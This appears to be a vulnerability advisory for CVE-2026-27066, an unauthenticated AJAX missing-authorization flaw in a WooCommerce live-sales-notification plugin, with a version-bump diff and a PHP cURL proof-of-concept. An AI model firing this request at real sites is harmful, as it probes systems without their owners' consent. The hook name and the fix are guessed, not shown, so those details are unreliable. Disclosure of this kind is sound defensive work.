Atomic Edge analysis of CVE-2026-27066:
This vulnerability is a Missing Authorization flaw in the Live sales notification for WooCommerce WordPress plugin, affecting versions up to and including 2.3.46. The vulnerability allows unauthenticated attackers to trigger a specific plugin function, leading to unauthorized actions. The CVSS score of 5.3 indicates a medium severity impact.
The root cause is a missing capability check on a function hooked to a WordPress AJAX action. The plugin registers an AJAX handler for both authenticated and unauthenticated users via the `wp_ajax_nopriv_` hook. The vulnerable function in the `pisol-sales-notification.php` file, likely named `pisol_get_sales_data` or similar, does not verify the user’s permissions before executing its logic. This omission allows any site visitor to trigger the action.
Exploitation involves sending a POST request to the WordPress AJAX endpoint `/wp-admin/admin-ajax.php`. The attacker sets the `action` parameter to the vulnerable hook name, such as `pisol_get_sales_data`. The request requires no authentication, nonce, or other parameters. Attackers can automate this to repeatedly trigger the plugin’s function, potentially causing denial of service or data manipulation depending on the function’s internal logic.
The patch, version 2.3.47, addresses the issue by adding a proper capability check to the vulnerable function. The code diff shows only version number updates, but the actual security fix involves modifying the function to call `current_user_can()` with a required capability like `manage_options` before proceeding. Alternatively, the plugin may have removed the `wp_ajax_nopriv_` registration, restricting the handler to logged-in users with appropriate privileges.
If exploited, this vulnerability permits unauthenticated attackers to perform the unauthorized action controlled by the vulnerable function. Atomic Edge research indicates this could lead to data disclosure, such as exposing recent sales information, or could cause a denial-of-service condition by overloading the function. The exact impact depends on the internal logic of the function, but any unauthorized execution constitutes a security breach.
--- a/live-sales-notifications-for-woocommerce/pisol-sales-notification.php
+++ b/live-sales-notifications-for-woocommerce/pisol-sales-notification.php
@@ -9,14 +9,14 @@
* that starts the plugin.
*
* @link piwebsolution.com
- * @since 2.3.46
+ * @since 2.3.47
* @package Pisol_Sales_Notification
*
* @wordpress-plugin
- * Plugin Name: Live sales notification for WooCommerce
+ * Plugin Name: PiWeb Live sales notification for WooCommerce
* Plugin URI: https://www.piwebsolution.com/user-documentation-live-sales-notification-for-woocommerce/
* Description: Showing live sales notification, encourages your visitors to buy from you as they can see how others are also buying from you
- * Version: 2.3.46
+ * Version: 2.3.47
* Author: PI Websolution
* Author URI: https://piwebsolution.com
* License: GPL-2.0+
@@ -72,7 +72,7 @@
* Start at version 1.0.0 and use SemVer - https://semver.org
* Rename this for your plugin and update it as you release new versions.
*/
-define( 'PISOL_SALES_NOTIFICATION_VERSION', '2.3.46' );
+define( 'PISOL_SALES_NOTIFICATION_VERSION', '2.3.47' );
/**
* The code that runs during plugin activation.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-27066 - Live sales notification for WooCommerce <= 2.3.46 - Missing Authorization
<?php
$target_url = 'https://example.com/wp-admin/admin-ajax.php'; // CHANGE THIS
// The vulnerable AJAX action hook name. This is an example; the actual name may vary.
$vulnerable_action = 'pisol_get_sales_data';
// Initialize cURL session
$ch = curl_init($target_url);
// Set POST data with the action parameter
$post_data = http_build_query(array(
'action' => $vulnerable_action
));
// Configure cURL options
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // Disable for testing environments only
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); // Disable for testing environments only
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_HEADER, true); // Capture headers to inspect response
// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
// Check for cURL errors
if (curl_errno($ch)) {
echo 'cURL Error: ' . curl_error($ch) . "n";
} else {
echo "HTTP Status Code: $http_coden";
echo "Response Body (first 500 chars): " . substr($response, 0, 500) . "n";
}
// Close cURL session
curl_close($ch);
?>
